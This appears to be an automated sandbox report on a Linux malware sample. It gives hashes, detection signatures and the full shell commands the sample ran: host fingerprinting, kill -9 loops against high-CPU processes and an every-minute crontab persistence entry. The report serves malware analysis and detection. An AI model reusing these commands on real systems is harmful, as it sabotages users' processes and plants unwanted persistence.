Analysis
-
max time kernel
312s -
max time network
309s -
platform
ubuntu-22.04_amd64 -
resource
ubuntu2204-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu2204-amd64-20240729-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system -
submitted
26-12-2024 17:07
Behavioral task
behavioral1
Sample
unpacked
Resource
ubuntu2204-amd64-20240729-en
Behavioral task
behavioral2
Sample
unpacked
Resource
ubuntu2404-amd64-20240523-en
General
-
Target
unpacked
-
Size
6.3MB
-
MD5
66cb162d1880fff9f98f9d93f0aeab73
-
SHA1
99607f0eb75b14a5bf9891fb5104e0a9ea474427
-
SHA256
3c58f7bc700f17de482a95d965ac76c8efb0f2614ab5f707cd9c4c61bc2acf3c
-
SHA512
5aff245f001d695e259ff5cdad6a737ac8d7862750c7a1eca98bf07aa15f3e178b3e77e8168ced4326b8e9d08f2576bd7ca3c2fe4e495615c793c7370118ac34
-
SSDEEP
98304:3l3SXxr6OYgW3wfYug9xCO5uL2SVPWN+XfMJ6aeOIpgKIxt9qus:3l3a6OYnpXSINTetgK7us
Malware Config
Signatures
-
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_name unpacked File opened for reading /sys/devices/virtual/dmi/id/board_vendor unpacked File opened for reading /sys/devices/virtual/dmi/id/bios_vendor unpacked File opened for reading /sys/devices/virtual/dmi/id/sys_vendor unpacked -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.JkmPaG crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/chassis_serial unpacked File opened for reading /sys/devices/virtual/dmi/id/bios_version unpacked File opened for reading /sys/devices/virtual/dmi/id/bios_date unpacked File opened for reading /sys/devices/virtual/dmi/id/product_version unpacked File opened for reading /sys/devices/virtual/dmi/id/product_serial unpacked File opened for reading /sys/devices/virtual/dmi/id/chassis_type unpacked File opened for reading /sys/devices/virtual/dmi/id/chassis_version unpacked File opened for reading /sys/devices/virtual/dmi/id/board_name unpacked File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag unpacked File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor unpacked File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag unpacked File opened for reading /sys/devices/virtual/dmi/id/product_uuid unpacked File opened for reading /sys/devices/virtual/dmi/id/board_version unpacked File opened for reading /sys/devices/virtual/dmi/id/board_serial unpacked -
Security Software Discovery 1 TTPs 2 IoCs
Adversaries may attempt to discover installed security software and its configurations.
pid Process 1621 sh 1644 sh -
Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo unpacked -
Reads CPU attributes 1 TTPs 6 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online unpacked File opened for reading /sys/devices/system/cpu/possible unpacked File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps -
Enumerates kernel/hardware configuration 1 TTPs 50 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/type unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/number_of_sets unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/size unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/level unpacked File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages unpacked File opened for reading /sys/bus/cpu/devices unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/level unpacked File opened for reading /sys/bus/dax/devices unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index7/shared_cpu_map unpacked File opened for reading /sys/kernel/mm/hugepages unpacked File opened for reading /sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/level unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets unpacked File opened for reading /sys/bus/cpu/devices/cpu0/topology/die_cpus unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/size unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map unpacked File opened for reading /sys/bus/node/devices/node0/hugepages unpacked File opened for reading /sys/devices/virtual/dmi/id unpacked File opened for reading /sys/bus/cpu/devices/cpu0/topology/physical_package_id unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/coherency_line_size unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition unpacked File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages unpacked File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_id unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/type unpacked File opened for reading /sys/bus/node/devices/node0/cpumap unpacked File opened for reading /sys/bus/dax/devices/target_node unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/type unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/shared_cpu_map unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map unpacked File opened for reading /sys/bus/node/devices/node0/access0/initiators unpacked File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_cpus unpacked File opened for reading /sys/bus/cpu/devices/cpu0/topology/package_cpus unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index5/shared_cpu_map unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/physical_line_partition unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/size unpacked File opened for reading /sys/devices/system/node/online unpacked File opened for reading /sys/bus/node/devices/node0/meminfo unpacked File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-1048576kB/nr_hugepages unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/type unpacked File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/level unpacked File opened for reading /sys/bus/dax/target_node unpacked -
Process Discovery 1 TTPs 2 IoCs
Adversaries may try to discover information about running processes.
pid Process 1623 ps 1647 ps -
description ioc Process File opened for reading /proc/227/status ps File opened for reading /proc/1240/status ps File opened for reading /proc/1565/cmdline ps File opened for reading /proc/159/status ps File opened for reading /proc/593/stat ps File opened for reading /proc/sys/kernel/pid_max ps File opened for reading /proc/980/cmdline ps File opened for reading /proc/1233/cmdline ps File opened for reading /proc/1309/stat ps File opened for reading /proc/227/stat ps File opened for reading /proc/775/status ps File opened for reading /proc/1248/stat ps File opened for reading /proc/202/cmdline ps File opened for reading /proc/634/stat ps File opened for reading /proc/sys/kernel/pid_max ps File opened for reading /proc/1/cmdline ps File opened for reading /proc/self/maps grep File opened for reading /proc/21/status ps File opened for reading /proc/91/status ps File opened for reading /proc/640/status ps File opened for reading /proc/1013/stat ps File opened for reading /proc/1506/stat ps File opened for reading /proc/1159/stat ps File opened for reading /proc/1563/status ps File opened for reading /proc/12/status ps File opened for reading /proc/11/status ps File opened for reading /proc/1564/cmdline ps File opened for reading /proc/94/stat ps File opened for reading /proc/1162/cmdline ps File opened for reading /proc/5/stat ps File opened for reading /proc/86/cmdline ps File opened for reading /proc/1038/cmdline ps File opened for reading /proc/763/stat ps File opened for reading /proc/27/status ps File opened for reading /proc/408/status ps File opened for reading /proc/9/status ps File opened for reading /proc/1155/status ps File opened for reading /proc/201/stat ps File opened for reading /proc/1071/cmdline ps File opened for reading /proc/737/cmdline ps File opened for reading /proc/77/cmdline ps File opened for reading /proc/93/stat ps File opened for reading /proc/114/cmdline ps File opened for reading /proc/208/cmdline ps File opened for reading /proc/82/cmdline ps File opened for reading /proc/690/stat ps File opened for reading /proc/1486/stat ps File opened for reading /proc/1163/stat ps File opened for reading /proc/3/status ps File opened for reading /proc/self/maps grep File opened for reading /proc/201/status ps File opened for reading /proc/1429/stat ps File opened for reading /proc/1486/status ps File opened for reading /proc/664/status ps File opened for reading /proc/1159/cmdline ps File opened for reading /proc/1621/stat ps File opened for reading /proc/113/cmdline ps File opened for reading /proc/1033/status ps File opened for reading /proc/1437/cmdline ps File opened for reading /proc/1648/cmdline ps File opened for reading /proc/80/cmdline ps File opened for reading /proc/self/maps grep File opened for reading /proc/6/status ps File opened for reading /proc/82/stat ps -
Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.lock unpacked File opened for modification /tmp/.cron sh
Processes
-
/tmp/unpacked/tmp/unpacked1⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:1565 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \":\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵PID:1566
-
/usr/bin/hostnamehostname -I3⤵PID:1569
-
-
/usr/bin/awkawk "{print \$1}"3⤵PID:1571
-
-
/usr/bin/awkawk "{print \":\"\$2}"3⤵PID:1576
-
-
/usr/bin/headhead -n 13⤵PID:1575
-
-
/usr/bin/grepgrep "Port "3⤵
- Reads runtime system information
PID:1574
-
-
/usr/bin/catcat /etc/ssh/sshd_config3⤵PID:1573
-
-
/usr/bin/whoamiwhoami3⤵PID:1577
-
-
/usr/bin/hostnamehostname3⤵PID:1578
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:1579
-
-
/usr/bin/sedsed -e "s/\$//"3⤵PID:1585
-
-
/usr/bin/sedsed -e "s/^ *//"3⤵PID:1584
-
-
/usr/bin/cutcut -d: -f23⤵PID:1583
-
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:1582
-
-
/usr/bin/awkawk "{print \$1}"3⤵PID:1588
-
-
/usr/bin/awkawk "{print \$4}"3⤵PID:1591
-
-
/usr/bin/awkawk "{print \$4}"3⤵PID:1594
-
-
/usr/bin/awkawk "{print \$3}"3⤵PID:1597
-
-
/usr/bin/awkawk "{print \$4}"3⤵PID:1600
-
-
/usr/bin/awkawk "{print \$1}"3⤵PID:1603
-
-
/usr/bin/awkawk "{print \$2\" \"\$3\" \"\$4}"3⤵PID:1605
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:1606
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:1608
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1607
-
-
/usr/bin/idid -u3⤵PID:1616
-
-
/usr/bin/grepgrep -v grep3⤵PID:1619
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:1618
-
-
/usr/bin/psps x3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1617
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵
- Security Software Discovery
PID:1621 -
/usr/bin/idid -u3⤵PID:1622
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵PID:1627
-
-
/usr/bin/grepgrep -v /usr/sbin/httpd3⤵PID:1626
-
-
/usr/bin/grepgrep -v -- "-bash[[:space:]]*\$"3⤵PID:1625
-
-
/usr/bin/grepgrep -v grep3⤵PID:1624
-
-
/usr/bin/psps aux3⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1623
-
-
-
/bin/shsh -c "dir=`pwd 2>/dev/null`;rm -rf \$dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v '/tmp/unpacked' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '\$dir/'/tmp/unpacked' >> .cron 2>/dev/null; if [ \$(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep '/tmp/unpacked\$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab \$dir/.cron 2>/dev/null; fi;rm -rf \$dir/.cron 2>/dev/null"2⤵
- Writes file to tmp directory
PID:1629 -
/usr/bin/rmrm -rf /tmp/.cron3⤵PID:1631
-
-
/usr/bin/grepgrep -v /tmp/unpacked3⤵
- Reads runtime system information
PID:1634
-
-
/usr/bin/grepgrep -v grep3⤵PID:1633
-
-
/usr/bin/crontabcrontab -l3⤵PID:1632
-
-
/usr/bin/wcwc -l3⤵PID:1641
-
-
/usr/bin/uniquniq3⤵PID:1640
-
-
/usr/bin/sortsort3⤵PID:1639
-
-
/usr/bin/grepgrep "/tmp/unpacked\$"3⤵PID:1638
-
-
/usr/bin/grepgrep -v grep3⤵
- Reads runtime system information
PID:1637
-
-
/usr/bin/crontabcrontab -l3⤵PID:1636
-
-
/usr/bin/crontabcrontab /tmp/.cron3⤵
- Creates/modifies Cron job
PID:1642
-
-
/usr/bin/rmrm -rf /tmp/.cron3⤵PID:1643
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"2⤵
- Security Software Discovery
PID:1644 -
/usr/bin/idid -u3⤵PID:1645
-
-
/usr/bin/wcwc -l3⤵PID:1651
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵PID:1650
-
-
/usr/bin/grepgrep -- "-bash[[:space:]]*\$"3⤵PID:1649
-
-
/usr/bin/grepgrep -v grep3⤵PID:1648
-
-
/usr/bin/psps aux3⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1647
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
29B
MD57a5b5de82a9f106db54bb9870efe364e
SHA1e08e128126b6fd8002cd6684ff77a69a9a270bde
SHA256c7bdab00ca2e83d98793965c13391d91b624c2e5fa354c887bcba7011a20ceb8
SHA512975711ff2842bf38970cb0f9d7b4d087603af8121f8357131cc5d9ce6112d39b638aa6fcdb7dd89662d75b3619729503d1745da2ef029433f967791766ec7b49
-
Filesize
213B
MD56f10f1534dfc4ecfdc24e0d74408999f
SHA17466e332e594bb56ceca660f321e8a7cbbde4548
SHA256b289ab2b4ad7c544805c316071c393b332710747aaccd139f5113576dcb03a5f
SHA51211ca61d82c8c9c1b9b642fee6115efeabdb6763102198e80912e884709cb79865ca2a5dc0caeb76d92fc7772cba71349cd7a908bc8b4a9c1f54f599434de3943